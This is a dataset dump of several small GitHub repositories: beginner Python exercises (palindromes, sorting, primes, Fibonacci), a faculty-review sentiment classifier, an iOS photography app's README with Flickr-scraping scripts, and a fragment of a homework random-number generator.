word.replace(\" \", \"\")\n reversedWord = reverse(removeSpacesHolder)\n\n if reversedWord.upper() == removeSpacesHolder.upper():\n print(word.upper(), \"reversed is\", word.upper(), \"- palindrome\")\n return True\n print(word.upper(), \"reversed is\", reversedWord.upper(), \"- not a palindrome\")\n return False\n\n\ndef reverse(word):\n backward = \"\"\n\n for i in reversed(range(len(word))):\n backward += word[i]\n\n return backward\n\n\nprint(\"**********Iteratively Checking Palindromes**********\\n\")\nisPalindromeIterative(\"HELLO\")\nisPalindromeIterative(\"Hannah\")\nisPalindromeIterative(\"121\")\nisPalindromeIterative(\"Al lets Della call Ed Stella\")\nisPalindromeIterative(\"No lemon, no melon\")\n\ndef isPalindromeRecursive(word):\n if word.find(\" \"):\n word = word.replace(\" \", \"\")\n if len(word) == 0 or len(word) == 1:\n return True\n elif word[0].upper() == word[len(word)-1].upper():\n return isPalindromeRecursive(word[1:-1])\n else:\n return False\n\nprint(\"\\n*********Recursively Checking Palindromes**********\\n\")\nprint(\"Is Hello a palindrome:\", isPalindromeRecursive(\"HELLO\"))\nprint(\"Is Hannah a palindrome:\", isPalindromeRecursive(\"Hannah\"))\nprint(\"Is 121 a palindrome:\", isPalindromeRecursive(\"121\"))\nprint(\"Is Al lets Della call Ed Stella a palidrome:\", isPalindromeRecursive(\"Al lets Della call Ed Stella\"))\nprint(\"Is No lemon, no melon a palindrome:\", isPalindromeRecursive(\"No lemon, no melon\"))\n\n" }, { "alpha_fraction": 0.6326963901519775, "alphanum_fraction": 0.6581740975379944, "avg_line_length": 22.600000381469727, "blob_id": "2810084177084307706eff3b64f7b91644700367", "content_id": "8a4c174a8acc4a9a38c7b9c9504aff4c2c7e20df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 471, "license_type": "no_license", "max_line_length": 56, "num_lines": 20, "path": "/ListSum.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "# Summing of numbers in a list Iteratively\nlistOfNumbers = [5,20,25,30]\nlistSum = 0\nfor x in listOfNumbers:\n\tlistSum += x\n\nprint(\"********Iterative Sum********\")\nprint(listSum)\n\n# Summing of numbers in a list using top level functions\nprint(\"********Built in Sum********\")\nprint(sum(listOfNumbers))\n\ndef recursiveSum(list):\n\tif len(list) == 0:\n\t\treturn 0\n\treturn list[0] + recursiveSum(list[1::])\n\nprint(\"********Recursive Sum********\")\nprint(recursiveSum(listOfNumbers))" }, { "alpha_fraction": 0.6762589812278748, "alphanum_fraction": 0.7194244861602783, "avg_line_length": 26.899999618530273, "blob_id": "2c9542f4faaf10c1d52afac854ebd976675d93dd", "content_id": "16978311a75d40534486c2f2b5625d36e64fc7d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "no_license", "max_line_length": 55, "num_lines": 10, "path": "/Factorial.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def factorialRecursive(number):\n if number < 1:\n return 1\n return number * factorialRecursive(number-1)\n\n# BE SURE TO CAST TO A LIST TO ENABLE PRINTING CONTENTS\nlistOfDigets = [1,2,3,4,5,6,7,8,9]\nnewList = list(map(factorialRecursive, listOfDigets))\n\nprint(newList)" }, { "alpha_fraction": 0.6909340620040894, "alphanum_fraction": 0.6964285969734192, "avg_line_length": 28.15999984741211, "blob_id": "092e084a49282a64e0eed3f3d8f5054ad0a93f82", "content_id": "2fc0aab063d5c74b70e4bb4868f8518a6ee14d66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "no_license", "max_line_length": 91, "num_lines": 25, "path": "/ReverseString.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def reverseString(reverseMe):\n string = \"\"\n for i in reversed(reverseMe):\n string += i\n return string\n\n\nprint(\"*****Reverse String Iteratively*****\")\nprint(reverseString(\"Reverse Me\"))\n\ndef reverseRecursively(reverseMe):\n if len(reverseMe) == 0:\n return \"\"\n return reverseMe[len(reverseMe)-1] + reverseRecursively(reverseMe[:len(reverseMe) - 1])\n\nprint(\"*****Reverse String Recursively*****\")\nprint(reverseRecursively(\"Reverse Me\"))\nprint(reverseRecursively(\"I want to be reversed recursively\"))\n\ndef simpleReverse(string):\n return string[::-1]\n\nprint(\"*****Reverse String Array Negative Indexing*****\")\nprint(simpleReverse(\"Reverse Me\"))\nprint(simpleReverse(\"I want to be reversed recursively\"))" }, { "alpha_fraction": 0.4279977083206177, "alphanum_fraction": 0.5886402726173401, "avg_line_length": 35.33333206176758, "blob_id": "bee73669c6ca613598562a59f2569172d9817649", "content_id": "776aeaa66b30f35f97e3d8da934e7edd934b73a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1743, "license_type": "no_license", "max_line_length": 310, "num_lines": 48, "path": "/Sorting.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "## Long lists of integers throws a recursion error with this function\n## as we hit the maximum recursion depth - Nice way to see the bubble sort\n## work recursively though\ndef bubble_sort_recursive(list):\n return bubble_sort_outer_loop(list, 0)\n\ndef bubble_sort_outer_loop(list, i):\n if len(list) == 1:\n return list\n\n if i == len(list):\n return list\n\n return bubble_sort_inner_loop(list, i, i + 1)\n\ndef bubble_sort_inner_loop(list, i, j):\n if j == len(list):\n return bubble_sort_outer_loop(list, i + 1)\n\n if list[j] < list[i]:\n holder = list[i]\n list[i] = list[j]\n list[j] = holder\n\n return bubble_sort_inner_loop(list, i, j + 1)\n\ndef bubble_sort_iterative(list):\n for i in range(0, len(list)):\n for j in range(i+1, len(list)):\n if list[j] < list[i]:\n holder = list[i]\n list[i] = list[j]\n list[j] = holder\n return list\n\nprint(\"\\n***************************Bubble Sort Recursively***************************\")\nlists = [5,1,2,4,6,-1]\nbubble_sort_recursive(lists)\nprint(lists)\n\nnew_list = [0,69,24,47,98,14,30,62,60,53,58,65,74,55,61,83,23,97,6,99,92,49,80,63,10,84,1,17,19,82,11,71,8,4,79,13,39,20,77,50]\nbubble_sort_recursive(new_list)\nprint(new_list)\n\nprint(\"\\n***************************Bubble Sort Iteratively***************************\")\niterative_list = [32,66,59,2,42,22,36,68,38,35,86,31,85,28,16,51,15,76,46,44,5,37,9,95,3,78,40,21,87,72,96,89,12,88,94,27,93,90,43,7,91,45,48,29,70,69,24,47,98,14,30,62,60,53,58,65,74,55,61,83,18,64,54,26,25,41,100,33,75,34,81,57,52,67,73,56,23,97,6,99,92,49,80,63,10,84,1,17,19,82,11,71,8,4,79,13,39,20,77,50]\nbubble_sort_iterative(iterative_list)\nprint(iterative_list)" }, { "alpha_fraction": 0.5642201900482178, "alphanum_fraction": 0.5825688242912292, "avg_line_length": 18.772727966308594, "blob_id": "a9f1d9a2a9db524806e43849c80e1e03ac7e8885", "content_id": "851021c4e64fce99086456d92da7ef2ce0235629", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "no_license", "max_line_length": 36, "num_lines": 22, "path": "/PrimeNumber.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def primeNumber(number):\n divisions = []\n number = number\n for i in range(2, number+1):\n if number % i == 0:\n divisions.append(i)\n\n if len(divisions) == 1:\n return True\n return False\n\nmyPrimes = []\nunPrimes = []\nfor i in range(2, 100):\n if primeNumber(i):\n myPrimes.append(i)\n else:\n unPrimes.append(i)\n\n\nprint(\"PRIME NUMBERS\", myPrimes)\nprint(\"NOT PRIME NUMBERS\", unPrimes)\n\n" }, { "alpha_fraction": 0.7013333439826965, "alphanum_fraction": 0.7206666469573975, "avg_line_length": 26.77777862548828, "blob_id": "b19b19daab6d7cb89542be702c7e95703a509694", "content_id": "0ca0a37a5800c5695d801c6d5799b03cebb496ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1500, "license_type": "no_license", "max_line_length": 91, "num_lines": 54, "path": "/TemperatureCA.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "from random import uniform\nfrom functools import reduce\n\ndef fahrenheitToCelsius(convert):\n return round((((convert - 32) * 5) / 9), 2)\n\nprint(\"*****FAHRENHEIT TO CELSIUS*****\")\nprint(fahrenheitToCelsius(32))\nprint(fahrenheitToCelsius(68))\n\ndef celsiusToFahrenheit(convert):\n return round(((((convert * 9) / 5) + 32)), 2)\n\nprint(\"*****CELSIUS TO FAHRENHEIT*****\")\nprint(celsiusToFahrenheit(0))\nprint(celsiusToFahrenheit(20))\n\ndef higherOrderFunction(function, parameterToApply):\n return function(parameterToApply)\n\nprint(\"*****HIGHER ORDER FUNCTION*****\")\nprint(higherOrderFunction(fahrenheitToCelsius, 68))\nprint(higherOrderFunction(celsiusToFahrenheit, 20))\n\ncelsiusList = []\nfor i in range(5):\n celsiusList.append(round(uniform(1.0, 25.0), 2))\n\nprint(\"*****RANDOM CELSIUS LIST*****\")\nprint(celsiusList)\n\naverageTemperature = reduce(lambda a,b: a + b, celsiusList) / len(celsiusList)\nprint(\"Average temperature:\",round(averageTemperature, 2))\n\ndef minTemp(a, b):\n if a < b:\n return a\n return b\n\nminimumTemperature = reduce(minTemp, celsiusList)\nprint(\"Minimum temperature:\", minimumTemperature)\n\ndef maxTemp(a, b):\n if a > b:\n return a\n return b\n\nmaximumTemperature = reduce(maxTemp, celsiusList)\nprint(\"Maximum temperature:\", maximumTemperature)\n\nprint(\"*****CELSIUS LIST TO FAHRENHEIT LIST*****\")\nprint(\"As Celsius\", celsiusList)\ncelsiusList = list(map(lambda i: higherOrderFunction(celsiusToFahrenheit, i), celsiusList))\nprint(\"As Fahrenheit\", celsiusList)\n" }, { "alpha_fraction": 0.7415730357170105, "alphanum_fraction": 0.7415730357170105, "avg_line_length": 28.77777862548828, "blob_id": "6500c36144a81413bdce1374fc5e411492e8040f", "content_id": "02e2d9c1ed7e5841867aeb87eda751399843d582", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 267, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/HyphenedWords.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def printWordsWithHyphen(stringIn):\n split = stringIn.split(\" \")\n split = sorted(split)\n joined = \"-\".join(split)\n print(joined)\n \nprintWordsWithHyphen(\"Hello I Am Dan\")\nprintWordsWithHyphen(\"I Will Be Hyphenated When Printed\")\nprintWordsWithHyphen(\"Here We Go\")" }, { "alpha_fraction": 0.586693525314331, "alphanum_fraction": 0.6068548560142517, "avg_line_length": 28.176469802856445, "blob_id": "82ec01f6de6f6169a8e5f0b8d044a9d5fd10253b", "content_id": "c2b24390b4843ceaf37ed874bab572c38fb09af4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 993, "license_type": "no_license", "max_line_length": 106, "num_lines": 34, "path": "/Closures.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def getDayOfWeek(language):\n def getDay(i):\n if i >= 1 and i <= 7:\n irishDaysList = [\"Dé Luain\", \"Dé Máirt\", \"Dé Céadaoin\", \"Déardaoin\", \"Dé hAoine\", \"Dé Sathairn\", \"Dé Domhnaigh\"]\n daysInEnglish = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\n if language == \"Irish\":\n return irishDaysList[i-1]\n elif language == \"English\":\n return daysInEnglish[i-1]\n else:\n return \"Incorrect Number Specified\"\n return getDay\n\nirishDay = getDayOfWeek(\"Irish\")\nprint(\"******Days in Irish******\")\nprint(irishDay(1))\nprint(irishDay(2))\nprint(irishDay(3))\nprint(irishDay(4))\nprint(irishDay(5))\nprint(irishDay(6))\nprint(irishDay(7))\nprint(irishDay(8))\n\nenglishDay = getDayOfWeek(\"English\")\nprint(\"\\n******Days in English******\")\nprint(englishDay(1))\nprint(englishDay(2))\nprint(englishDay(3))\nprint(englishDay(4))\nprint(englishDay(5))\nprint(englishDay(6))\nprint(englishDay(7))\nprint(englishDay(8))\n" }, { "alpha_fraction": 0.6734207272529602, "alphanum_fraction": 0.6817640066146851, "avg_line_length": 27.965517044067383, "blob_id": "36b9ab9f1556173d36162274186ec6dc234f5145", "content_id": "4a8ed667621429a5d13cdd7609ed4fa7c877b9d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 839, "license_type": "no_license", "max_line_length": 89, "num_lines": 29, "path": "/GitHubExercises.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "from functools import reduce\n\ndef capitaliseWord(stringIn, index):\n if index % 2 == 0:\n return str.upper(stringIn)\n return stringIn\n\nprint(capitaliseWord(\"capitalise me\", 0))\n\ndef swapCase(stringIn):\n splitStr = str.split(stringIn, \" \")\n iterable = []\n iterable.extend(range(0, len(splitStr)))\n joinedString = \" \".join(list(map(capitaliseWord, splitStr, iterable)))\n print (joinedString)\n\nswapCase(\"hey gurl, lets javascript together sometime\")\n\ndef shiftLetters(stringIn):\n letterList = list(stringIn)\n joined = \"\".join(list(map(lambda i: chr(ord(i) + 1), letterList)))\n return joined\n\nprint(shiftLetters(\"hello\"))\nprint(shiftLetters(\"abcxyz\"))\n\nstrings = [\"Hello\", \"I\", \"Want\", \"You\", \"Reduced\"]\nreduced = reduce(lambda i, j: capitaliseWord(i, 0) + \" \" + capitaliseWord(j, 0), strings)\nprint(reduced)" }, { "alpha_fraction": 0.7107692360877991, "alphanum_fraction": 0.7292307615280151, "avg_line_length": 28.636363983154297, "blob_id": "10fbfba8707b5d7f446279c2bc7589fc74fe97f1", "content_id": "934b9126dc70f27bca2d068e0edd5d0dacf44491", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "no_license", "max_line_length": 90, "num_lines": 11, "path": "/Fibonacci.py", "repo_name": "DanoBuck/PythonLabs", "src_encoding": "UTF-8", "text": "def fibonacciSequence(numberElement):\n if numberElement == 0 or numberElement == 1:\n return numberElement\n else:\n return fibonacciSequence(numberElement - 1) + fibonacciSequence(numberElement - 2)\n\nfibonacciList = []\nfor i in range(10):\n fibonacciList.append(fibonacciSequence(i))\n\nprint(fibonacciList)" } ]
17
praneeth19100/Sentiment-Classification-of-Faculty-review
https://github.com/praneeth19100/Sentiment-Classification-of-Faculty-review
880dcafd9e7da30169a4f1f38865430cbb307d2f
5a1fd2108d8548022ff274cd891e7d65616f3389
5be86fd23a235faa6330631a1a696dabaf776c3c
refs/heads/master
2022-04-21T03:44:15.965062
2020-04-18T13:36:49
2020-04-18T13:36:49
256,761,573
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7372159361839294, "alphanum_fraction": 0.7528409361839294, "avg_line_length": 30.744186401367188, "blob_id": "36055139b55992829f8610a766ccac3f7b0b68f7", "content_id": "0b60c707241b61912c5369a149045874fcfdf83c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1408, "license_type": "no_license", "max_line_length": 118, "num_lines": 43, "path": "/SA.py", "repo_name": "praneeth19100/Sentiment-Classification-of-Faculty-review", "src_encoding": "UTF-8", "text": "import numpy as np \r\nimport pandas as pd \r\nimport re\r\nimport nltk \r\nimport matplotlib.pyplot as plt\r\n%matplotlib inline\r\n\r\n\r\nfaculty_review = pd.read_csv('Desktop/Personal/Faculty.csv')\r\nfaculty_review.head()\r\n\r\n#Data Analysis\r\nplot_size = plt.rcParams[\"figure.figsize\"] \r\nprint(plot_size[0]) \r\nprint(plot_size[1])\r\n\r\nplot_size[0] = 8\r\nplot_size[1] = 6\r\nplt.rcParams[\"figure.figsize\"] = plot_size\r\nfaculty_review.faculty_sentiment.value_counts().plot(kind='pie', autopct='%1.0f%%', colors=[\"red\", \"yellow\", \"green\"])\r\n\r\n#Data Cleaning\r\nfrom nltk.corpus import stopwords\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\n\r\nvectorizer = TfidfVectorizer (max_features=2500, min_df=7, max_df=0.8, stop_words=stopwords.words('english'))\r\nprocessed_features = vectorizer.fit_transform(processed_features).toarray()\r\n\r\n#Data Division\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(processed_features, labels, test_size=0.2, random_state=0)\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\ntext_classifier = RandomForestClassifier(n_estimators=200, random_state=0)\r\ntext_classifier.fit(X_train, y_train)\r\n\r\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score\r\n\r\nprint(confusion_matrix(y_test,predictions))\r\nprint(classification_report(y_test,predictions))\r\nprint(accuracy_score(y_test, predictions))\r\n" } ]
1
acompagno/AC-Photography-Application
https://github.com/acompagno/AC-Photography-Application
459506f35b738f14f028d4b434ec6b8137fdd0c6
870748a1d3b8ec8fdd0d152a4b141cc110bbb5a1
4f928e7cce49871fc0ea86a0863588411cabc6be
refs/heads/master
2021-01-10T20:08:13.131252
2014-03-07T00:43:09
2014-03-07T00:43:09
11,938,638
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5648584961891174, "alphanum_fraction": 0.5742924809455872, "avg_line_length": 27.16666603088379, "blob_id": "f97dd8ae750c01d29cb4bdcbb9c811a153cc6715", "content_id": "a257e24e5e3ad50627edb8c653f4e841c82c0e98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 848, "license_type": "permissive", "max_line_length": 55, "num_lines": 30, "path": "/Flickr Script/formatdata.py", "repo_name": "acompagno/AC-Photography-Application", "src_encoding": "UTF-8", "text": "json_file = open ('data.json' , 'w')\n\n#writing set titles \njson_file.write('{\"main_page\":[')\ntitles = []\nwith open ('settitles.temp' , 'r') as f:\n for line in f: \n \ttitles.append(line.rstrip('\\n'))\nfor i in range (0 , len(titles)):\n\tif (i == len(titles)-1):\n\t\tjson_file.write(titles[i])\n\telse :\n\t\tjson_file.write(titles[i] + ',')\njson_file.write('],')\n\nfor i in range (0 , len(titles)):\n\tphoto_urls_temp = []\n\tjson_file.write(titles[i][:-1]+'\":[')\n\twith open ('photourls ' +str(i+1)+'.temp' , 'r') as f:\n\t for line in f: \n\t \tphoto_urls_temp.append(line.rstrip('\\n'))\n\tfor a in range (0 , len(photo_urls_temp)):\n\t\tif (a == len(photo_urls_temp)-1):\n\t\t\tjson_file.write('\"'+photo_urls_temp[a]+'\"')\n\t\telse :\n\t\t\tjson_file.write('\"'+photo_urls_temp[a]+'\",')\n\tif (i == len(titles)-1):\n\t\tjson_file.write(']}')\n\telse :\n\t\tjson_file.write('],')\n\n\n\n" }, { "alpha_fraction": 0.5334346294403076, "alphanum_fraction": 0.542553186416626, "avg_line_length": 25.31999969482422, "blob_id": "31f7b5fa43e37b8796bda5beed9001925faa3935", "content_id": "c4da525e9f6d121fea6930f85b90def31e3d4794", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 658, "license_type": "permissive", "max_line_length": 74, "num_lines": 25, "path": "/Flickr Script/getdata.py", "repo_name": "acompagno/AC-Photography-Application", "src_encoding": "UTF-8", "text": "import json\n\nd = 1\nwhile (True):\n\tc = 1\n\ttry:\n \t\twith open('set_data ' + str(d)+'-'+str(c)+'.temp'): pass\n\texcept IOError:\n\t\tbreak\n\tfile_temp = open ('photourls ' + str(d)+'.temp' , 'w')\n\twhile (True):\n\t\ttry:\n\t \t\twith open('set_data ' + str(d)+'-'+str(c)+'.temp'): pass\n\t\texcept IOError:\n\t\t\tbreak\n\t\tprint (\"URLS FOR NUMBER\" + str(d))\n\t\tjson_data=open('set_data ' + str(d)+'-'+str(c)+'.temp')\n\t\tdata = json.load(json_data)\t\n\t\tfor a in range (0 , len(data['rows'])):\n\t\t\tfor b in range (0 ,len(data['rows'][a]['row'])):\n\t\t\t\tfile_temp.write(data['rows'][a]['row'][b]['sizes']['o']['url'] + '\\n')\n\t\tjson_data.close()\n\t\tc = c + 1\n\tfile_temp.close()\n\td = d + 1\n" }, { "alpha_fraction": 0.5587649345397949, "alphanum_fraction": 0.5806772708892822, "avg_line_length": 42.69565200805664, "blob_id": "b4e72f5deebef35c142f5068f842fbdc43fc3d61", "content_id": "3d8b0d2db7d6f1c98f979f7454a2d8b8bd1483c3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1004, "license_type": "permissive", "max_line_length": 127, "num_lines": 23, "path": "/Flickr Script/test.sh", "repo_name": "acompagno/AC-Photography-Application", "src_encoding": "UTF-8", "text": "read FLICKR_URL \ncurl $FLICKR_URL | grep -ni \"seta\" | grep -oh 'title=\"[^\"]\\+\"' | cut -c 7- > settitles.temp\ncurl $FLICKR_URL | grep -ni \"seta\" | grep -oh 'href=\"[^\"]\\+\"' | cut -c 7- | sed 's/^/\"http:\\/\\/www.flickr.com/' > seturls.temp \nURL=$(curl $FLICKR_URL | grep -ni \"seta\" | grep -oh 'href=\"[^\"]\\+\"' | cut -c 7- | sed 's/^/\"www.flickr.com/' | sed 's/\"//g' )\nURLCOUNT=$(echo \"$URL\" | wc -l)\nfor ((i=1; i<=URLCOUNT; i++)); do\n\tTEMPURL=$(echo \"$URL\" | head -n $i | tail -n 1)\n\tPAGECOUNT=$(curl \"$TEMPURL\" | grep -oh 'data-page-count=\"[[:digit:]]\"' | grep -oh '[[:digit:]]')\n\tif [\"$PAGECOUNT\" == \"\"]; then\n\t\tPAGECOUNT=$(echo \"1\")\n\t\techo \"pagecount 1\"\n\tfi\n\tfor ((b=1; b<=PAGECOUNT; b++)); do \n\t\tTEMPURLWITHPAGE=$(echo \"$TEMPURL\"\"page$b\")\n\t\techo \"set_data $i-$b.temp\"\n\t\techo \"$TEMPURLWITHPAGE\"\n\t\tcurl \"$TEMPURLWITHPAGE\" | grep \"Y.listData\" | cut -c 15- | sed 's/;$//' > \"set_data $i-$b.temp\"\n\tdone\ndone\npython3 getdata.py \npython3 formatdata.py\nrm *.temp\n# http://www.flickr.com/photos/13906431@N07/sets/" }, { "alpha_fraction": 0.7220978736877441, "alphanum_fraction": 0.7521586418151855, "avg_line_length": 47.480621337890625, "blob_id": "15f6abd8e4228f4125d2906d2feeec69d108fce3", "content_id": "93ec5edbe2dcd52c9751bc797321ed9c08ad518f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6254, "license_type": "permissive", "max_line_length": 229, "num_lines": 129, "path": "/README.md", "repo_name": "acompagno/AC-Photography-Application", "src_encoding": "UTF-8", "text": "AC-Photography-Application\n==========================\n##Introduction\n\n - After about a year taking photos as a hobby, I decided it would be interesting to have a standalone application where users could easily view and download images from their smartphone.\n\n##Libraries\n\n - MWPhotoBrowser - https://github.com/mwaterfall/MWPhotoBrowser \n - Reachability - https://github.com/tonymillion/Reachability\n - SDWebImage - https://github.com/rs/SDWebImage\n \n##Details \n\n - Compatible with iOS 6.0 +\n\n###JSON Data \n\n - My data was set up to work with my website and with the way my images are organized. In order to make this app work for you, you'll have to create your own data\n - JSON data format \n```\n{\n \"main_page\": [ //Include the category names in the \"main_page\" object\n \"Practices\",\n \"Events\"\n ],\n \"Practices\": [ //For each category create an object with its name including the names of all the galleries within\n \"PBW 11/06/2011\",\n ....\n ],\n \"Events\": [\n \"NCPA SACC #2 2011\",\n ....\n ],\n \"Featured\": [ //in the featured object include the urls to your chosen featured images\n \"http://andrecphoto.weebly.com/uploads/6/5/5/1/6551078/1068479_orig.jpg\",\n ....\n ],\n \"Events_Images\": [ //For each catergory include the urls to its galleries thumbnails\n \"http://andrecphoto.weebly.com/uploads/6/5/5/1/6551078/9148830_orig.jpg\",\n ....\n ],\n \"Practices_Images\": [\n \"http://andrecphoto.weebly.com/uploads/6/5/5/1/6551078/3545902_orig.jpg\",\n ....\n \"PBW 11/06/2011\": [ //For each gallery include an object with the urls for all the images\n \"8962321_orig.jpg\",\n ....\n ],\n \"Hotshots 01/01/2012\": [\n \"9646669_orig.jpg\",\n ....\n ],\n \"PBW 01/29/2012\": [\n \"9283844_orig.jpg\",\n ....\n}\n```\n - You can view my JSON data in the repo or in the link below \n - http://andrecphoto.weebly.com/uploads/6/5/5/1/6551078/acphoto.json\n - I included a small script that generates JSON data from Flickr sets. Simply run `sh test.sh` then enter the link to the gallery's sets (Ex: `http://www.flickr.com/photos/38177739@N05/sets/`)\n - The script will then create data including an object with the titles of each of the sets and then an object for each set with the urls to the images\n - This can easily be adapted to the above format\n\n###Main View\n\n - The main page contains two main elements: a Featured Images Section and a two sepearate gallery sections. \n - The Featured Images secition displays 5 images specified in the JSON data. \n - In my case I have two separate sections for photo galleries so this allows the use to choose which section they want to view.\n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/1.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/1.png)\n\n - If there are more than two categories, the app will automatically create a draggable UITableView.\n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/7.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/7.png)\n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/8.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/8.png)\n\n\n###Information View\n\n - The main page also contains an information view where I link to my photography website and Facebook page. \n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/2.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/2.png)\n\n###Gallery Selection View\n\n - After selecting one of the sections, each of the photo galleries avaliable are displayed\n - The cell for each of the galleries has an image and the number of photos in the gallery \n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/3.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/3.png)\n\n###Thumbnail Gallery\n\n - Once a gallery is chosen, the user can now view thumbnails for the images. \n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/4.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/4.png)\n\n###Photo Browser\n\n - When a thumbnail is clicked, it opens up the photo browser. \n\n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/5.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/5.png)\n\n - From the photo browser, the user can save, copy, and email the image.\n \n![iOS7screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS7Screenshots/6.png) ![iOS6screenshot](https://raw.github.com/acompagno/AC-Photography-Application/master/Images/iOS6Screenshots/6.png)\n\n##License \n\nCopyright (c) 2013 Andre Compagno \n \nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is furnished\nto do so, subject to the following conditions:\n \nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n \nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n" } ]
4
wenxuan-xia/IE581
https://github.com/wenxuan-xia/IE581
7c96bbaf4488f2326fcf9947b28cd4b01fe18c3e
2d5e4178df6676226a0ddfb0e8c714b8148e9c33
2587f77920ce90289bcbb51cb0e21480ccafa992
refs/heads/master
2021-01-10T02:17:08.211474
2016-03-09T04:05:46
2016-03-09T04:05:46
51,167,943
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3743016719818115, "alphanum_fraction": 0.5530726313591003, "avg_line_length": 15.272727012634277, "blob_id": "6031badd887a9955ba2c6491aa6051fa0a2104ee", "content_id": "2010e751ed3fd93c5c5282d1512d5eda86b150e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 44, "num_lines": 11, "path": "/hw2/prob_3/s3.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import u16807d\n\ndef main():\n seed = 1\n for i in range(0, 10000):\n seed, u16807 = u16807d.u16807d(seed)\n print seed, u16807\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.46777546405792236, "alphanum_fraction": 0.5197505354881287, "avg_line_length": 17.86274528503418, "blob_id": "ccbb21bea92ef71214d356f8487a9089c409b17f", "content_id": "2c68f4abaf51fc988e0c2297db3de490129ff2b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 47, "num_lines": 51, "path": "/hw3/prob_3/s3.py", "repo_name": "wenxuan-xia/IE581", "src_encoding": "UTF-8", "text": "import u16807d\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef poisgen(seed, lbmd):\n 